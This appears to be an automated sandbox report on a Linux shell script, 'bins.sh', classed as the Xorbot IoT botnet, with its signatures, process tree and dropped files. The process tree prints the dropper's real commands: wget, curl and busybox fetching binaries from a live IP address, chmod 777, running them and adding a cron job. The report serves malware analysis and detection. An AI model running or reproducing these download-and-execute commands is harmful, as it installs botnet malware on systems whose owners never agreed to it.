Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    01/01/2025, 13:26

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample250101-qphg7synbj
  • SHA256 495c750e4e9a940028d9cedeb764bc681e91dd6fd3a5b84b6121a0879ecc917e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalatiotrojan

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1506
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1507
        • /usr/bin/wget
          wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:1508
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:1521
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Writes file to tmp directory
          PID:1522
        • /bin/chmod
          chmod 777 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • File and Directory Permissions Modification
          PID:1523
        • /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          ./0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
          • Executes dropped EXE
          PID:1524
        • /bin/rm
          rm 0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
          2⤵
            PID:1526
          • /usr/bin/wget
            wget http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:1527
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:1528
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Writes file to tmp directory
            PID:1529
          • /bin/chmod
            chmod 777 yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • File and Directory Permissions Modification
            PID:1530
          • /tmp/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            ./yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
            2⤵
            • Executes dropped EXE
            • Renames itself
            • Reads runtime system information
            PID:1531
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:1533
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:1534
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:1535
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:1536
                • /bin/rm
                  rm yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
                  2⤵
                    PID:1538
                  • /usr/bin/wget
                    wget http://66.63.187.225/bins/SKP927G3djl16n8VNyPjN1TUyPyQLAAJhA
                    2⤵
                      PID:1541

                  Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                        • Path /tmp/0iqoOXdYdbNtQgq6vo8jlJSvPpCHW35C7W
                        • Size 127KB
                        • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
                        • Path /tmp/yvx1lazF25Ni6WyKUm85NgSuAdFjrgi6My
                        • Size 112KB
                        • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                        • MD5 SHA1 SHA512 SSDEEP
                        Submit Download

                        tmp.401HjW
                        • Path /var/spool/cron/crontabs/tmp.401HjW
                        • Size 210B
                        • SHA256 2be4d2f1ff6e6d4fd481630a5493eb2f10a89d11e647e2600b1f27c1b858d4c3
                        • MD5 SHA1 SHA512
                        Submit Download